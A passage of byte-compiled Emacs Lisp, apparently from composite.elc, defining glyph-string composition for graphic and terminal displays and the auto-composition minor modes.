'byte-compile-inline-expand) (defalias 'lglyph-copy #[(glyph) "\301!\207" [glyph copy-sequence] 2]) (put 'lglyph-copy 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-insert-glyph #[(gstring idx glyph) "\211G\306Z) \307 \fW\203( \211 \306\\H*\211\203( T\211\202 \fU\2038 \310\311 !\"\202N T\fW\203N T\307 \211 \306\\ I\210+ V\203s S\211 \306\\H* \211 \306\\ I\210+ S\211\202O \211 \306\\ I\210++\207" [gstring idx g i nglyphs glyph 2 nil vconcat vector] 6]) (defalias 'compose-glyph-string #[(gstring from to) " \211\n\306\\H*\307\211\211\211\211\211 \211 \211 \310H)S\211\n\306\\H*\211 \311H) \211 \310 I\210\311I\210+ T\211W\203\314 \211\n\306\\H*\211\203\314 \211 \310 I\210\311I\210+\211 \312H)\310X\203\223 \310\202\234 \211 \313H)[ \310\211 \211 \314\315\206\265 \310\206\273 \310\206\301 \310#I\210- T\211\202T .\207" [gstring from i rbearing lbearing descent 2 nil 0 1 6 4 9 vector ascent to-pos from-pos glyph to xoff wadjust yoff] 8]) (defalias 'compose-glyph-string-relative #[(gstring from to &optional gap) "\211\211\306H)\306H) \211\n\307\\H*\310\211\211\211\211\211 \203< \311\312\313\"_!\202? \306\211 \306H)S\211\n\307\\H*\211 \314H)\211 \315H)\211 \316H) \211 \306 I\210\314I\210+ T\211W\203m \211\n\307\\H*\211 \211 \306 I\210\314I\210+\211 \315H)\211 \316H)\310\211\211 \211 \317H)\306X\203\343 \306\202\354 \211 \320H)[ \306V\203 \306W\203\321\306 $ \322 $\202/\306 \202/\322 # \322 $ \306U\203= \306U\204e \306 \211 \323\324 \206U\306 \206[\306 \206a\306#I\210,- T\211\202\214 .\207" [gstring from i rbearing lbearing descent 0 2 nil floor font-get :size 1 7 8 6 4 - + 9 vector ascent to-pos from-pos glyph font-object gap to wadjust yoff xoff this-descent this-ascent] 9]) #@389 Compose glyph-string GSTRING for graphic display. Non-spacing characters are composed with the preceding base character. If the preceding character is not a base character, each non-spacing character is composed as a spacing character by a padding space before and/or after the character. All non-spacing characters has this function in `composition-function-table' unless overwritten. (defalias 'compose-gstring-for-graphic #[(gstring) "\211\306H)\211\211\306H)GS)\211G\307Z)\306 \211\f\307\\H* \n\310U\203\230 \211 \311H) \211 \312H) \211 \313H)\314\211 - . / 0\211 1\306W\203X 1[.\202^ \306\211.10/W\203j /0 .\30601Z - 2 .\211 \315\316.\206\203 \3062\206\211 \306-\206\217 \306#I\210,-\202I\317\306 \211\211\306H)\fTH*\320\"\321>\203\262 \314\202I\322!\211 3\203\325 3\306 \211\f\307\\H*\211 \310H)\306V\203\325 3\202H\314 4\211\3104I\210* \211 \313H) / \211 \323H) 5 \211 \324H) 6 \211 \312H) 0 \211 \311H)\211 10\\\307\245 7\325\326\211\211\306H)\306H)\327\"\330_! 8\314\211 . 2\n\306 9\f9W\203\f \211\f\307\\H*\f\306V\203 \317 \211 \307H)\331\" : \211 \311H) ; \211 \312H) < \211 \323H) = \211 \324H) >;<\\\307\245 ?\314\211 . 2:\203\357:\332Y\203\357:\333X\203\357\306\211.2:\332U\203\2761?Z.=\306V\203\264\306\202\2716=\\2\202\253:\334U\203\353=\306V\203\317\306=7?Z.=\306V\203\341\306\202\3466=\\2\202\253:\335U\203=\306V\203\374\306=0?Z.=\306V\203\306\2026=\\2\202\253:\336U\203)1<Z.\202\253:\337U\203:0;Z.\202\253:\340U\203^1?Z.>\306Y\203S\306\202Y5[>Z2\202\253:\341U\203\2027?Z.>\306Y\203w\306\202}5[>Z2\202\253:\342U\203\2460?Z.>\306Y\203\233\306\202\2415[>Z2\202\253:\343U\203\3141?Z.=\306V\203\277\306\202\307\3446=8#2\202\253:\345U\203\3627?Z.=\306V\203\345\306\202\355\3446=8#2\202\253:\346U\2030?Z.=\306V\203 \306\202\3446=8#2\202\253:\347U\203)1<Z.\202\253:\350U\203:0;Z.\202\253:\351U\203a1?Z.>\306Y\203S\306\202\\\3525[>8#2\202\253:\353U\203\2107?Z.>\306Y\203z\306\202\203\3525[>8#2\202\253:\354U\203\2530?Z.>\306Y\203\241\306\202\2515>\\8Z2 ./Z2\314 - 2 .\211 \315\316.\206\304\3062\206\312\306-\206\320\306#I\210,;.\\\211;.\\<=2Z=>2\\>5=W\203\373=56>W\203>6.\fT\211\2021. \306\211 W\203F\f \211\f\307\\H*\211\203F \306\nS @ A\211 \306AI\210 \310@I\210+\fT\211\202)),\207" [gstring header nchars nglyphs i glyph 0 2 1 5 6 4 nil 9 vector get-char-code-property general-category (Mn Mc Me Zs Zl Zp Cc Cf Cs) font-shape-gstring 7 8 round font-get :size 0.1 canonical-combining-class 200 240 202 204 208 210 212 214 216 218 + 220 222 224 226 228 - 230 232 wadjust xoff width rbearing lbearing yoff gstr id ascent descent center gap #1=#:--cl-dotimes-temp-- class lb rb as de ce to from] 8 (#$ . 18443)]) (byte-code "\302\303\304 \"\210)\303\207" [elt char-width-table (["\\c.\\c^+" 1 compose-gstring-for-graphic] [nil 0 compose-gstring-for-graphic]) map-char-table #[(key val) "\304U\205 \305 \n #\207" [val composition-function-table key elt 0 set-char-table-range] 4]] 3) #@273 Compose glyph string GSTRING for terminal display. Non-spacing characters are composed with the preceding base character. If the preceding character is not a base character, each non-spacing character is composed as a spacing character by a prepending a space before it. (defalias 'compose-gstring-for-terminal #[(gstring) "\211\306H)\211\211\306H)GS)\211G\307Z)\306 \211\211\306H)\306H) \310 \f W\203\272\f \211\f\307\\H*\211\203\272\311\211 \307H) \"\204\242 \306\211 W\203, \f \211\f\307\\H*\211\203, \211 \312H)\313W\203\203 \313 \211 \312I\210*\f\211 \211 \306I\210\313I\210+\fT\211\202S \211 \312H)\306U\203%\314\211 \307H)\315\"\316=\203\342 \317 \211 \307I\210*\313 \211 \312I\210*\fT\211\202- \320\f \321!)#\211\211G\307Z)\f \211\f\307\\H*\211\317 \211 \307I\210*\313 \211 \312I\210*\307\211\202- \211 \306H)\211 \313H)\fT W\203\203 \211\f\307\\H*\211\203\203\311\211 \307H) \"\203\203\211 \312H)\306U\203\203\211 \313H)T\211\202?\fW\203\266\f \211\f\307\\H*\211 \211 \306I\210\313I\210+\fT\211\202\204+\202, .\207" [gstring header nchars nglyphs i coding 0 2 nil char-charset 4 1 get-char-code-property general-category Cf 32 lgstring-insert-glyph copy-sequence glyph width to from char j] 6 (#$ . 21640)]) #@639 Compose the characters at FROM by FUNC. FUNC is called with one argument GSTRING which is built for characters in the region FROM (inclusive) and TO (exclusive). If the character are composed on a graphic display, FONT-OBJECT is a font to use. Otherwise, FONT-OBJECT is nil, and the function `compose-gstring-for-terminal' is used instead of FUNC. If STRING is non-nil, it is a string, and FROM and TO are indices into the string. In that case, compose characters in the string. The value is a gstring containing information for shaping the characters. This function is the default value of `auto-composition-function' (which see). (defalias 'auto-compose-chars #[(func from to font-object string) "\306 \n $\211 \211 \307H)\203 \f\202 \310\n\302\"\204 \311 \f!)\207" [from to font-object string gstring func composition-get-gstring 1 fontp compose-gstring-for-terminal] 6 (#$ . 23024)]) (make-variable-buffer-local 'auto-composition-function) #@111 Non-nil if Auto-Composition mode is enabled. Use the command `auto-composition-mode' to change this variable. (defvar auto-composition-mode nil (#$ . 23986)) (make-variable-buffer-local 'auto-composition-mode) #@465 Toggle Auto Composition mode. With ARG, turn Auto Composition mode off if and only if ARG is a non-positive number; if ARG is nil, toggle Auto Composition mode; anything else turns Auto Composition on. When Auto Composition is enabled, text characters are automatically composed by functions registered in `composition-function-table' (which see). You can use `global-auto-composition-mode' to turn on Auto Composition mode in all buffers (this is the default). (defalias 'auto-composition-mode #[(&optional arg) "\305 \306=\203 \n?\202( \203 \307 !\310V\202( \n\204\" \311\202( \312\313\302\"\210\314 \203/ \314\n\2038 \315\202: \314\316\317\n\203D \320\202E \321\"\210\322 \203e \305 \203X \305 \232\203e \312\323\n\203b \324\202c \325\"\210)\326 \210\n\207" [#1=#:last-message arg auto-composition-mode noninteractive auto-composition-function current-message toggle prefix-numeric-value 0 t message "Toggling %s off; better pass an explicit argument." nil auto-compose-chars run-hooks auto-composition-mode-hook auto-composition-mode-on-hook auto-composition-mode-off-hook called-interactively-p "Auto-Composition mode %sabled" "en" "dis" force-mode-line-update] 3 (#$ . 24203) (list (or current-prefix-arg 'toggle))]) (byte-code "\300\301\302\303\304!\205 \304J#\207" [add-minor-mode auto-composition-mode nil boundp auto-composition-mode-map] 5) (defalias 'turn-on-auto-composition-if-enabled #[nil "\205 \301\302!\207" [enable-multibyte-characters auto-composition-mode 1] 2]) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305\301!\207" [current-load-list auto-composition-mode-major-mode default-boundp set-default nil make-variable-buffer-local] 3) #@305 Non-nil if Global-Auto-Composition mode is enabled. See the command `global-auto-composition-mode' for a description of this minor mode. Setting this variable directly does not take effect; either customize it (see the info node `Easy Customization') or call the function `global-auto-composition-mode'. (custom-declare-variable 'global-auto-composition-mode '(not noninteractive) '(#$ . 25890) :set 'custom-set-minor-mode :initialize 'custom-initialize-safe-default :group 'auto-composition :type 'boolean :version "23.1") #@322 Toggle Auto-Composition mode in every possible buffer. With prefix ARG, turn Global-Auto-Composition mode on if and only if ARG is positive. Auto-Composition mode is enabled in all buffers where `turn-on-auto-composition-if-enabled' would do it. See `auto-composition-mode' for more information on Auto-Composition mode. (defalias 'global-auto-composition-mode #[(&optional arg dummy) "\306 \307=\203 \n?\202( \203 \310 !\311V\202( \n\204\" \312\202( \313\314\302\"\210\315\211\203? \316\317\320\"\210\316\321\322\"\210\316\323\324\"\210\202N \325\317\320\"\210\325\321\322\"\210\325\323\324\"\210\326 \315\211 \203x \f@r q\210\n\203h \327 \210\202p \203p \305\330!\210)\fA\211\204W *\331\332\n\203\203 \333\202\204 \334\"\210\335 \203\250 \336\302!\210\306 \203\233 \306 \232\203\250 \313\337\n\203\245 \340\202\246 \341\"\210)\342 \210\n\207" [#1=#:last-message arg global-auto-composition-mode buf #2=#:--cl-dolist-temp-- auto-composition-mode current-message toggle prefix-numeric-value 0 t message "Toggling %s off; better pass an explicit argument." nil add-hook after-change-major-mode-hook global-auto-composition-mode-enable-in-buffers find-file-hook global-auto-composition-mode-check-buffers change-major-mode-hook global-auto-composition-mode-cmhh remove-hook buffer-list turn-on-auto-composition-if-enabled -1 run-hooks global-auto-composition-mode-hook global-auto-composition-mode-on-hook global-auto-composition-mode-off-hook called-interactively-p customize-mark-as-set "Global-Auto-Composition mode %sabled" "en" "dis" force-mode-line-update] 4 (#$ . 26421) (list (or current-prefix-arg 'toggle))]) (byte-code "\301\302\303\304\305!\205 \305J#\210\306B\307\306!\204 \310\306\303\"\210\303\207" [current-load-list add-minor-mode global-auto-composition-mode nil boundp global-auto-composition-mode-map global-auto-composition-mode-buffers default-boundp set-default] 5) (defalias 'global-auto-composition-mode-enable-in-buffers #[nil "\306\211\2038 \n@\307 !\2031 r q\210 \203+ \f =\2040 \303\310!\210\311 \210 \2020 \311 \210 )\nA\211\204 *\306\207" [global-auto-composition-mode-buffers buf #1=#:--cl-dolist-temp-- auto-composition-mode auto-composition-mode-major-mode major-mode nil buffer-live-p -1 turn-on-auto-composition-if-enabled] 3]) (put 'global-auto-composition-mode-enable-in-buffers 'definition-name 'global-auto-composition-mode) (defalias 'global-auto-composition-mode-check-buffers #[nil "\301 \210\302\303\304\305\"\207" [global-auto-composition-mode-buffers global-auto-composition-mode-enable-in-buffers nil remove-hook post-command-hook global-auto-composition-mode-check-buffers] 3]) (put 'global-auto-composition-mode-check-buffers 'definition-name 'global-auto-composition-mode) (defalias 'global-auto-composition-mode-cmhh #[nil "\300\301p\"\210\302\303\304\"\207" [add-to-list global-auto-composition-mode-buffers add-hook post-command-hook global-auto-composition-mode-check-buffers] 3]) (byte-code "\300\301\302\303#\210\304\305\306\"\207" [put global-auto-composition-mode-cmhh definition-name global-auto-composition-mode defalias toggle-auto-composition auto-composition-mode] 4) #@241 Convert CHAR to string. If optional 2nd arg TYPE is non-nil, it is `string', `list', or `vector'. In this case, CHAR is converted to string, list of CHAR, or vector of CHAR respectively. Optional 3rd arg WITH-COMPOSITION-RULE is ignored. (defalias 'decompose-composite-char #[(char &optional type with-composition-rule) "\203\n \302=\203 \303 !\207\304=\203 C\207\305 !\207" [type char string char-to-string list vector] 2 (#$ . 29581)]) (make-obsolete 'decompose-composite-char 'char-to-string "21.1")
Close
